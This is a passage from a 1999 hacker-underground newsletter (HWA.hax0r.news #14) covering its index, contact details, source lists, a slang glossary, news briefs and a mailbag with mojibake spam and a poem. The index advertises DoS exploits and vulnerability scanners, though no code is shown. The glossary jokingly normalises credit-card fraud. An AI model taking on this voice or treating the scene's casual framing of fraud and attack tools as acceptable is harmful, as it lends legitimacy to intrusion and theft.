[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= ========================================================================== = <=-[ HWA.hax0r.news ]-=> = ========================================================================== [=HWA'99=] Number 14 Volume 1 1999 April 99 ========================================================================== [ 61:20:6B:69:64:20:63:6F:75: ] [ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ] [ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ] ========================================================================== IRL i'm a sarcastic script on irc....i'm a dumbass ;) - D----Y Note that some stuff may not display correctly as I did not fully convert all the text contained in this file to html, it is recommended you read this file in standard text mode... 4445494c0494C554E4C554E =------------------------------------------------------------------------= =------------------------------------------------------------------------= Synopsis --------- The purpose of this newsletter is to 'digest' current events of interest that affect the online underground and netizens in general. This includes coverage of general security issues, hacks, exploits, underground news and anything else I think is worthy of a look see. (remember i'm doing this for me, not you, the fact some people happen to get a kick/use out of it is of secondary importance). This list is NOT meant as a replacement for, nor to compete with, the likes of publications such as CuD or PHRACK or with news sites such as AntiOnline, the Hacker News Network (HNN) or mailing lists such as BUGTRAQ or ISN nor could any other 'digest' of this type do so. It *is* intended however, to compliment such material and provide a reference to those who follow the culture by keeping tabs on as many sources as possible and providing links to further info, its a labour of love and will be continued for as long as I feel like it, i'm not motivated by dollars or the illusion of fame, did you ever notice how the most famous/infamous hackers are the ones that get caught? there's a lot to be said for remaining just outside the circle... @HWA =-----------------------------------------------------------------------= Welcome to HWA.hax0r.news ... #14 =-----------------------------------------------------------------------= ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** *** *** *** please join to discuss or impart news on techno/phac scene *** *** stuff or just to hang out ... someone is usually around 24/7*** *** *** *** Note that the channel isn't there to entertain you its for *** *** you to talk to us and impart news, if you're looking for fun*** *** then do NOT join our channel try #weirdwigs or something... *** *** we're not #chatzone or #hack *** *** *** ******************************************************************* =-------------------------------------------------------------------------= Issue #14 =--------------------------------------------------------------------------= [ INDEX ] =--------------------------------------------------------------------------= Key Content =--------------------------------------------------------------------------= 00.0 .. COPYRIGHTS ...................................................... 00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC ....................... 00.2 .. SOURCES ......................................................... 00.3 .. THIS IS WHO WE ARE .............................................. 00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?.......................... 00.5 .. THE HWA_FAQ V1.0 ................................................ 01.0 .. GREETS .......................................................... 01.1 .. Last minute stuff, rumours, newsbytes ........................... 01.2 .. Mailbag ......................................................... 02.0 .. From the Editor.................................................. 03.0 .. Holes Found in Multiple Anonymiser Packages ..................... 04.0 .. Some musings on the Melissa 'virus' by WHiTe VaMPiRe ............ 05.0 .. So much for your radio hobby .................................... 06.0 .. ICQ99 Vulnerabilities still with us ............................. 07.0 .. [ISN] "Hacking to become a crime" ............................... 08.0 .. [ISN] Client Security: You've got armored trucks, but what about the pick pockets? - Chris Wysopal, The l0pht............... 09.0 .. [ISN] Strong privacy software for Linux available worldwide...... 10.0 .. [ISN] Security Search engine back online......................... 11.0 .. [ISN] Smart Card Forum privacy symposium ........................ 12.0 .. HP advisory Security Vulnerability in MPEi/X debug............... 13.0 .. Cisco security advisory Input Access List Leakage with NAT....... 14.0 .. Aptivas ship with added bonus, the CIH virus..................... 15.0 .. Rocketmail vulnerabilty on inactive accounts..................... 16.0 .. Yahoo "hack" faked?.............................................. 17.0 .. 'Sorceror's Apprentice' bug in Outlook........................... 18.0 .. Aussie password thief pleads guilty.............................. 19.0 .. Echelon is fishy says ACLU....................................... 20.0 .. Network-based intrusion detection systems are about to stop crying wolf 21.0 .. IE5 fun.......................................................... 22.0 .. Renegade Judge................................................... 23.0 .. Webcom Guestbooks vulnerabilities................................ 24.0 .. Achtung! No piracy here!......................................... 25.0 .. [BUGTRAQ] Bug in Winroute 3.04g ................................. 26.0 .. [BUGTRAQ] Patrol security bugs .................................. 27.0 .. [BUGTRAQ] kernel panic or hang in name lookup (NetBSD)........... 28.0 .. cgichck1.3 scans for 41 known vulnerabilities by su1d sh3ll //UnlG 1999 29.0 .. poink.c new win9x/nt arp table exploit DoS....................... 29.1 .. winarp.c (winarps.c) exploits the arp table bug.................. 29.2 .. The new win arp bug - original message .......................... 30.0 .. NT Message box DoS .............................................. 31.0 .. nmap wrapper for stealthier scans + enhanced logging capabilities 32.0 .. How to handle and detect network probes.......................... 33.0 .. [ISN] Civilians go online to fight............................... 34.0 .. [ISN] Video cameras and microphones vulnerable to hackers ....... 35.0 .. Cryptogram newsletter............................................ 36.0 .. [BUGTRAQ] default passwords on ADSL routers ..................... 37.0 .. [BUGTRAQ] Another bug in Midnight Commander/crontab.............. 38.0 .. NFR releases Back Officer Friendly desktop IDS................... =--------------------------------------------------------------------------= AD.S .. Post your site ads or etc here, if you can offer something in return thats tres cool, if not we'll consider ur ad anyways so send it in. ads for other zines are ok too btw just mention us in yours, please remember to include links and an email contact. Corporate ads will be considered also and if your company wishes to donate to or participate in the upcoming Canc0n99 event send in your suggestions and ads now...n.b date and time may be pushed back join mailing list for up to date information....................................... Current dates: Aug19th-22nd Niagara Falls... ................. HA.HA .. Humour and puzzles ............................................ Hey You!........................................................ =------=........................................................ Send in humour for this section! I need a laugh and its hard to find good stuff... ;)........................................... HOW.TO .. "How to hack" by our illustrious editor......................... SITE.1 .. Featured site, ................................................. H.W .. Hacked Websites ............................................... A.0 .. APPENDICES...................................................... A.1 .. PHACVW linx and references...................................... =--------------------------------------------------------------------------= @HWA'99 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ). Important semi-legalese and license to redistribute: YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE APPRECIATED the current link is http://welcome.to/HWA.hax0r.news IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL ME PRIVATELY current email cruciphux@dok.org THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS: I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE AND REDISTRIBUTE/MIRROR. - EoD Although this file and all future issues are now copyright, some of the content holds its own copyright and these are printed and respected. News is news so i'll print any and all news but will quote sources when the source is known, if its good enough for CNN its good enough for me. And i'm doing it for free on my own time so pfffft. :) No monies are made or sought through the distribution of this material. If you have a problem or concern email me and we'll discuss it. cruciphux@dok.org Cruciphux [C*:.] 00.1 CONTACT INFORMATION AND MAIL DROP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wahoo, we now have a mail-drop, if you are outside of the U.S.A or Canada / North America (hell even if you are inside ..) and wish to send printed matter like newspaper clippings a subscription to your cool foreign hacking zine or photos, small non-explosive packages or sensitive information etc etc well, now you can. (w00t) please no more inflatable sheep or plastic dog droppings, or fake vomit thanks. Send all goodies to: HWA NEWS P.O BOX 44118 370 MAIN ST. NORTH BRAMPTON, ONTARIO CANADA L6V 4H5 WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are ~~~~~~~ reading this from some interesting places, make my day and get a mention in the zine, send in a postcard, I realize that some places it is cost prohibitive but if you have the time and money be a cool dude / gal and send a poor guy a postcard preferably one that has some scenery from your place of residence for my collection, I collect stamps too so you kill two birds with one stone by being cool and mailing in a postcard, return address not necessary, just a "hey guys being cool in Bahrain, take it easy" will do ... ;-) thanx. Ideas for interesting 'stuff' to send in apart from news: - Photo copies of old system manual front pages (optionally signed by you) ;-) - Photos of yourself, your mom, sister, dog and or cat in a NON compromising position plz I don't want pr0n. - Picture postcards - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250 tapes with hack/security related archives, logs, irc logs etc on em. - audio or video cassettes of yourself/others etc of interesting phone fun or social engineering examples or transcripts thereof. If you still can't think of anything you're probably not that interesting a person after all so don't worry about it Our current email: Submissions/zine gossip.....: hwa@press.usmc.net Private email to editor.....: cruciphux@dok.org Distribution/Website........: sas72@usa.net @HWA 00.2 Sources *** ~~~~~~~~~~~ Sources can be some, all, or none of the following (by no means complete nor listed in any degree of importance) Unless otherwise noted, like msgs from lists or news from other sites, articles and information is compiled and or sourced by Cruciphux no copyright claimed. HiR:Hackers Information Report... http://axon.jccc.net/hir/ News & I/O zine ................. http://www.antionline.com/ Back Orifice/cDc..................http://www.cultdeadcow.com/ News site (HNN) .....,............http://www.hackernews.com/ Help Net Security.................http://net-security.org/ News,Advisories,++ ...............http://www.l0pht.com/ NewsTrolls (HNN)..................http://www.newstrolls.com/ News + Exploit archive ...........http://www.rootshell.com/beta/news.html CuD ..............................http://www.soci.niu.edu/~cudigest News site+........................http://www.zdnet.com/ News site+........................http://www.gammaforce.org/ News site+........................http://www.projectgamma.com/ +Various mailing lists and some newsgroups, such as ... +other sites available on the HNN affiliates page, please see http://www.hackernews.com/affiliates.html as they seem to be popping up rather frequently ... http://www.the-project.org/ .. IRC list/admin archives http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk alt.hackers.malicious alt.hackers alt.2600 BUGTRAQ ISN security mailing list ntbugtraq <+others> NEWS Agencies, News search engines etc: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.cnn.com/SEARCH/ Link http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0 Link http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack Link http://www.ottawacitizen.com/business/ Link http://search.yahoo.com.sg/search/news_sg?p=hack Link http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack Link http://www.zdnet.com/zdtv/cybercrime/ Link http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column) Link NOTE: See appendices for details on other links. http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm Link http://freespeech.org/eua/ Electronic Underground Affiliation Link http://ech0.cjb.net ech0 Security Link http://net-security.org Net Security Link ... Submissions/Hints/Tips/Etc ~~~~~~~~~~~~~~~~~~~~~~~~~~ All submissions that are `published' are printed with the credits you provide, if no response is received by a week or two it is assumed that you don't care wether the article/email is to be used in an issue or not and may be used at my discretion. Looking for: Good news sites that are not already listed here OR on the HNN affiliates page at http://www.hackernews.com/affiliates.html Magazines (complete or just the articles) of breaking sekurity or hacker activity in your region, this includes telephone phraud and any other technological use, abuse hole or cool thingy. ;-) cut em out and send it to the drop box. - Ed Mailing List Subscription Info (Far from complete) Feb 1999 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ ISS Security mailing list faq : http://www.iss.net/iss/maillist.html THE MOST READ: BUGTRAQ - Subscription info ~~~~~~~~~~~~~~~~~~~~~~~~~~~ What is Bugtraq? Bugtraq is a full-disclosure UNIX security mailing list, (see the info file) started by Scott Chasin . To subscribe to bugtraq, send mail to listserv@netspace.org containing the message body subscribe bugtraq. I've been archiving this list on the web since late 1993. It is searchable with glimpse and archived on-the-fly with hypermail. Searchable Hypermail Index; http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html Link About the Bugtraq mailing list ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following comes from Bugtraq's info file: This list is for *detailed* discussion of UNIX security holes: what they are, how to exploit, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vulnerabilities. It is about defining, recognizing, and preventing use of security holes and risks. Please refrain from posting one-line messages or messages that do not contain any substance that can relate to this list`s charter. I will allow certain informational posts regarding updates to security tools, documents, etc. But I will not tolerate any unnecessary or nonessential "noise" on this list. Please follow the below guidelines on what kind of information should be posted to the Bugtraq list: + Information on Unix related security holes/backdoors (past and present) + Exploit programs, scripts or detailed processes about the above + Patches, workarounds, fixes + Announcements, advisories or warnings + Ideas, future plans or current works dealing with Unix security + Information material regarding vendor contacts and procedures + Individual experiences in dealing with above vendors or security organizations + Incident advisories or informational reporting Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq reflector address if the response does not meet the above criteria. Remember: YOYOW. You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of those words without your permission in any medium outside the distribution of this list may be challenged by you, the author. For questions or comments, please mail me: chasin@crimelab.com (Scott Chasin) Crypto-Gram ~~~~~~~~~~~ CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses, insights, and commentaries on cryptography and computer security. To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe, visit http://www.counterpane.com/unsubform.html.  Back issues are available on http://www.counterpane.com. CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of Counterpane Systems, the author of "Applied Cryptography," and an inventor of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of the International Association for Cryptologic Research, EPIC, and VTW.  He is a frequent writer and lecturer on cryptography. CUD Computer Underground Digest ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This info directly from their latest ish: Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09                             ISSN  1004-042X        Editor: Jim Thomas (cudigest@sun.soci.niu.edu)        News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)        Archivist: Brendan Kehoe        Poof Reader:   Etaion Shrdlu, Jr.        Shadow-Archivists: Dan Carosone / Paul Southworth                           Ralph Sims / Jyrki Kuoppala                           Ian Dickinson        Cu Digest Homepage: http://www.soci.niu.edu/~cudigest [ISN] Security list ~~~~~~~~~~~~~~~~~~~ This is a low volume list with lots of informative articles, if I had my way i'd reproduce them ALL here, well almost all .... ;-) - Ed Subscribe: mail majordomo@repsec.com with "subscribe isn". @HWA 00.3 THIS IS WHO WE ARE ~~~~~~~~~~~~~~~~~~ Some HWA members and Legacy staff ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cruciphux@dok.org.........: currently active/editorial darkshadez@ThePentagon.com: currently active/man in black fprophet@dok.org..........: currently active/IRC+ man in black sas72@usa.net ............. currently active/IRC+ distribution vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black dicentra...(email withheld): IRC+ grrl in black Foreign Correspondants/affiliate members ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ATTENTION: All foreign correspondants please check in or be removed by next issue I need your current emails since contact info was recently lost in a HD mishap and i'm not carrying any deadweight. Plus we need more people sending in info, my apologies for not getting back to you if you sent in January I lost it, please resend. N0Portz ..........................: Australia Qubik ............................: United Kingdom system error .....................: Indonesia Wile (wile coyote) ...............: Japan/the East Ruffneck ........................: Netherlands/Holland And unofficially yet contributing too much to ignore ;) Spikeman .........................: World media Please send in your sites for inclusion here if you haven't already also if you want your emails listed send me a note ... - Ed http://www.genocide2600.com/~spikeman/ .. Spikeman's DoS and protection site http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian) ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** ******************************************************************* :-p 1. We do NOT work for the government in any shape or form.Unless you count paying taxes ... in which case we work for the gov't in a BIG WAY. :-/ 2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news events its a good idea to check out issue #1 at least and possibly also the Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ... @HWA 00.4 Whats in a name? why HWA.hax0r.news?? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Well what does HWA stand for? never mind if you ever find out I may have to get those hax0rs from 'Hackers' or the Pretorians after you. In case you couldn't figure it out hax0r is "new skewl" and although it is laughed at, shunned, or even pidgeon holed with those 'dumb leet (l33t?) dewds' this is the state of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you up and comers, i'd highly recommend you get that book. Its almost like buying a clue. Anyway..on with the show .. - Editorial staff @HWA 00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Also released in issue #3. (revised) check that issue for the faq it won't be reprinted unless changed in a big way with the exception of the following excerpt from the FAQ, included to assist first time readers: Some of the stuff related to personal useage and use in this zine are listed below: Some are very useful, others attempt to deny the any possible attempts at eschewing obfuscation by obsucuring their actual definitions. @HWA - see EoA ;-) != - Mathematical notation "is not equal to" or "does not equal" ASC(247) "wavey equals" sign means "almost equal" to. If written an =/= (equals sign with a slash thru it) also means !=, =< is Equal to or less than and => is equal to or greater than (etc, this aint fucking grade school, cripes, don't believe I just typed all that..) AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21) AOL - A great deal of people that got ripped off for net access by a huge clueless isp with sekurity that you can drive buses through, we're not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the least they could try leasing one?? *CC - 1 - Credit Card (as in phraud) 2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's CCC - Chaos Computer Club (Germany) *CON - Conference, a place hackers crackers and hax0rs among others go to swap ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk watch videos and seminars, get drunk, listen to speakers, and last but not least, get drunk. *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker speak he's the guy that breaks into systems and is often (but by no means always) a "script kiddie" see pheer 2 . An edible biscuit usually crappy tasting without a nice dip, I like jalapeno pepper dip or chives sour cream and onion, yum - Ed Ebonics - speaking like a rastafarian or hip dude of colour also wigger Vanilla Ice is a wigger, The Beastie Boys and rappers speak using ebonics, speaking in a dark tongue ... being ereet, see pheer EoC - End of Commentary EoA - End of Article or more commonly @HWA EoF - End of file EoD - End of diatribe (AOL'ers: look it up) FUD - Coined by Unknown and made famous by HNN - "Fear uncertainty and doubt", usually in general media articles not high brow articles such as ours or other HNN affiliates ;) du0d - a small furry animal that scurries over keyboards causing people to type weird crap on irc, hence when someone says something stupid or off topic 'du0d wtf are you talkin about' may be used. *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to define, I think it is best defined as pop culture's view on The Hacker ala movies such as well erhm "Hackers" and The Net etc... usually used by "real" hackers or crackers in a derogatory or slang humorous way, like 'hax0r me some coffee?' or can you hax0r some bread on the way to the table please?' 2 - A tool for cutting sheet metal. HHN - Maybe a bit confusing with HNN but we did spring to life around the same time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper noun means the hackernews site proper. k? k. ;& HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d MFI/MOI- Missing on/from IRC NFC - Depends on context: No Further Comment or No Fucking Comment NFR - Network Flight Recorder (Do a websearch) see 0wn3d NFW - No fuckin'way *0WN3D - You are cracked and owned by an elite entity see pheer *OFCS - Oh for christ's sakes PHACV - And variations of same Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare Alternates: H - hacking, hacktivist C - Cracking C - Cracking V - Virus W - Warfare A - Anarchy (explosives etc, Jolly Roger's Cookbook etc) P - Phreaking, "telephone hacking" PHone fREAKs ... CT - Cyber Terrorism *PHEER - This is what you do when an ereet or elite person is in your presence see 0wn3d *RTFM - Read the fucking manual - not always applicable since some manuals are pure shit but if the answer you seek is indeed in the manual then you should have RTFM you dumb ass. TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0 TBA - To Be Arranged/To Be Announced also 2ba TFS - Tough fucking shit. *w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions from the underground masses. also "w00ten" 2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers) *wtf - what the fuck *ZEN - The state you reach when you *think* you know everything (but really don't) usually shortly after reaching the ZEN like state something will break that you just 'fixed' or tweaked. @HWA -=- :. .: -=- 01.0 Greets!?!?! yeah greets! w0w huh. - Ed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Thanks to all in the community for their support and interest but i'd like to see more reader input, help me out here, whats good, what sucks etc, not that I guarantee i'll take any notice mind you, but send in your thoughts anyway. * all the people who sent in cool emails and support FProphet Pyra Pasty Drone TwstdPair TheDuece _NeM_ D----Y RTFM99 Kevin Mitnick (watch yer back) ypwitch kimmie vexxation hunchback mack sAs72 Spikeman and the #innerpulse, #hns crew and some inhabitants of #leetchans .... although I use the term 'leet loosely these days, ;) kewl sites: + http://www.l0pht.com/ + http://www.2600.com/ + http://www.genocide2600.com/ + http://www.genocide2600.com/~spikeman/ + http://www.genocide2600.com/~tattooman/ + http://www.hackernews.com/ (Went online same time we started issue 1!) + http://www.net-security.org/ + http://www.slashdot.org/ + http://www.freshmeat.net/ @HWA 01.1 Last minute stuff, rumours and newsbytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "What is popular isn't always right, and what is right isn't always popular..." - FProphet '99 +++ When was the last time you backed up your important data? ++ ANOTHER PRIVACY HOLE IN IE 5.0? (TECH. 3:00 am) http://www.wired.com/news/news/email/explode-infobeat/technology/story/19160.html When users bookmark a Web page with Internet Explorer 5.0, a new feature in the software notifies the site. Consumer advocates say software makers need to get a grip on the privacy implications of their code. By Chris Oakes. ++ ARREST MADE IN PAIRGAIN RUMOR (BUS. Thursday) http://www.wired.com/news/news/email/explode-infobeat/business/story/19155.html Authorities arrest a 25-year-old man in connection with a fake news story posted on the Web last week that sent PairGain's stock soaring. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ++ EMPLOYERS READ WORKERS' EMAIL (BUS. Thursday) http://www.wired.com/news/news/email/explode-infobeat/business/story/19152.html Almost half of major US firms monitor employees' phone calls, email, and computer files, according to a survey. The most common form of surveillance: storing and reading office email. By Joanna Glasner. Mucho thanks to Spikeman for directing his efforts to our cause of bringing you the news we want to read about in a timely manner ... - Ed @HWA 01.2 MAILBAG - email and posts from the message board worthy of a read ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This appears to be spam from the url that is provided but it sure is frustrating receiving mail like this and not being able to convert it to English... X-Mailer: Aureate Group Mail Free Edition - http://software.aureate.com From: master To: Date: Fri, 16 Apr 1999 19:25:00 +0900 Subject: ¾È³çÇϼ¼¿ä »çÀ̹ö¼¥ÀÔ´Ï´Ù. Reply-To: kurotools@kurotools.com X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit ¾È³çÇϼ¼¿ä »çÀ̹ö¼¥ÀÔ´Ï´Ù. ±×µ¿¾È ÀúÈñ »çÀ̹ö¼¥À» ÀÌ¿ëÇØÁּż­ °¨»çÇÕ´Ï´Ù. ÀÌ·¸°Ô ºÒ¼÷ À̸ÞÀÏÀ» º¸³»°Ô µÇ¾î Á˼ÛÇÕ´Ï´Ù. ´Ù¸§ÀÌ ¾Æ´Ï¿À¶ó À̹ø¿¡ ÀúÈñ »çÀ̹ö¼¥ http://www.cybershop.co.kr ÀÌ »õ´ÜÀåÀ» ÇÏ¿´½À´Ï´Ù. ÄÄÇ»ÅÍ Äڳʴ ¿ë»êÀÇ Àú·ÅÇÑ µô·¯¸¦ ÀÔÁ¡½ÃÄÑ °¡°Ý°æÀï·ÂÀ» ³ô¿´°í ÀüÀÚ,Àü±â,»ýÈ°¿ëÇ°µîÀº ½Ç»ýÈ°¿¡ ²ÀÇÊ¿äÇÑ Á¦Ç°À¸·Î »õ´ÜÀåÀ» ÇÏ¿´½À´Ï´Ù. Çѹø ¿À¼Å¼­ µÑ·¯º¸½Ã°í ¸¹Àº Á¶¾ðÀ» ¹Ù¶ø´Ï´Ù. °¨»çÇÕ´Ï ... Date: Wed, 7 Apr 1999 00:51:54 -0400 (EDT) From: Bonnie To: Message-Id: <419.436257.51610637learning_bl@yahoo.com> Subject: °ê »Ú ¾Ð ²ß ªk Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ¦p§A¯à ¦b¥b¤p®É¤º·Ç½T¦a°O±o¤@¦Ê­Ó¼Æ¥Ø¦r¤Î¨ä¥¿½T¦ì¸m¡A·í¾Ç²ß¨ä¥¦ª¾ÃѮɡA °Z«D »´¦Ó©ö Á|¡H§Ú­Ì«OÃÒ¨C­Ó´¼¤O¥¿±`ªº¤H¡A¦p¦³¥¿½Tªº¤èªk¡A§¡¥i°µ¨ì¡I §A/§Aªº¤l¤k¬O§_¦³¥H¤U±¡ªp¡G * ¾Ç²ß¦¨ÁZ¤£²z·Q¡A»Ý­n¸É²ß¦Ñ®v¸ò¶i¥\½Ò¡H * ·í­n³B²z¤j¶q¸ê®Æ®É·P¨ì¦Y¤O¡H * Ãø©ó¶°¤¤ºë¯«·Å²ß©Î¤u§@¡H * À³¥I¾Ç®Õ/±M·~¦Ò¸Õ·PıÀ£¤O¤j¦Ó²£¥Í®£Äß¡H ¤W­z°ÝÃD³£¬O¤@¯ë¾Ç¥Í©Î¦b¾¤H¥Kªº³q¯f¡C­ì¦]«Ü²³æ¡A¦]¥L­Ì¨S¦³¥¿½Tªº¾Ç²ß©M°O¾Ð ¤èªk¡A ¬é¾a¦º°Oµw­I¡A¤£¦ý»Ý­nªø®É¶¡·Å²ß¤Î­I»w¡A¥ç¤£¯à¨Ï°O¾Ð«ù¤[¡C ¾Ð²ßªk±Ð¾É§A¾Ç²ß¤§¥¿½T¤èªk¡A¥þ­±´£¤É¾Ç²ß©M°O¾Ð¯à¤O¡C¥¦¬O¤@®M¥ý¶i¾Ç²ß©M°O¾Ð§Þ ¥©½Ò µ{¡A®Ú¾Ú¤H¤H³£¾Ö¦³ªº¤Ñ¥Í¥»¯à¦Ó³Ð³y¡A«Oµý¥Ñ¤p¾Ç¥Í¦Ü°h¥ð¤H¥K¬Ò¯à´x´¤¡AÀ°§U§A¡G * ÁYµu¾Ç²ß®É¶¡ ¢w ¼W¶i¾Ç·~¦¨ÁZ©Î¤u§@®Ä²v * ¼W±j°O¾Ð¯à¤O ¢w ¤£¥Î¦º°Oµw­I * ´£°ª¾Ç²ß¿³½ì ¢w ´î»´¦Ò¸ÕÀ£¤O * ¦Û«H¤ß­¿¼W ¢w ¦¨¥\¦b´¤ ¾Ð²ßªk¬O¤@¶¡°ê»Ú©Ê±Ð¨|¾÷ºc¡C¾ã®M½Òµ{¤v¥æ¡y±Ð¨|¸p¡z¼f¾\¡C¦p·Q¥þ­±´£¤É§Aªº¾Ç²ß ¯à¤O¡A ½Ð§Y¶ñ§´ªí®æ±H¦^¡A§Y¦w±Æ ¡°§K¶O¥Ü½dÁ¿®y¡A°£¦³±M·~¾É®v§@Á¿¸Ñ¥Ü½d¥~¡A¨Ã§Y³õµû¦ô »Õ¤U/ §Aªº¤l¤k¤§¾Ç²ß©M°O¾Ð¯à¤O¡A¦b¤@¤p®É¤§½Ò°ó¤º¡A¾É®v·|±Ð±Â½Òµ{¤ºªº³¡¥÷¤èªk¤Î§Þ ¥©¡AÅý¾Ç ¥Í¿Ë¨­Ê^Å禳¤èªk¾Ç²ß»P¦º°Oµw­Iªº¤À§O¡C §¹¥þ§K¶O¡I ¡° ¾Ç¥Í¥²¶·¥Ñ®aªø³­¦P¥X®u ¦p±ý°Ñ¥[§K¶O¥Ü½d½Ò°ó¡A½Ð§Y¶ñ§´ªí®æ¶Ç¯u©Î±H¦^¡C ( HK- 1127 ) ¾Ç¥Í ( ) ¦b¾¤H¥K ( ) ©m¦W¡G ¾Ç¾ú¡G ¦~ÄÖ¡G ¾·~¡G ¦í§}¹q¸Ü¡G Ápµ¸¹q¸Ü : ³q«H¦a§}¡G * ½Ð´£¨Ñ¹q¸Ü¸¹½X¡A¤è«K¶Ç»¼¸ÔºÉ¸ê®Æ¡A¥H¤W¸ê®Æµ´¹ï«O±K¡C * ­»´äÆW¥J²ø¤h´°¹D¤»¤Q¤K¸¹¤¬«H¤j·H6¼ÓA¤ÎB®y Unit A & B, 6/F., Trust Tower, 68 Johnston Road, Wanchai, Hong Kong. Fax¡G2527 559 e-mail : learning_bl@yahoo.com ... X-Originating-IP: [209.209.166.133] From: "liquid phire" To: hwa@press.usmc.net Date: Sat, 10 Apr 1999 20:18:48 PDT Mime-Version: 1.0 Content-type: text/plain _identity_ alone in a room, trying to find the darkness of peace in the twilight of war. as are we all searching for the same thing with our blank minds, blank hearts, blank faces. for we are the children of the resurection in a time when no one desires to be saved. i look at another and see myself. i cut a throat find that it is my own blood that stains my hands. i see tears in another's eyes, and find it is my own wetting my fingertips. millions of names; no history, no time, no emotion. searching for knowledge in disguise as power. searching for god in disguise as a friend. searching for the past in disguise as the future. we are all the same in our own right. grey clouds swirl in the blackness as i rub my eyes. i open them to the familiar sight of black text. each byte, 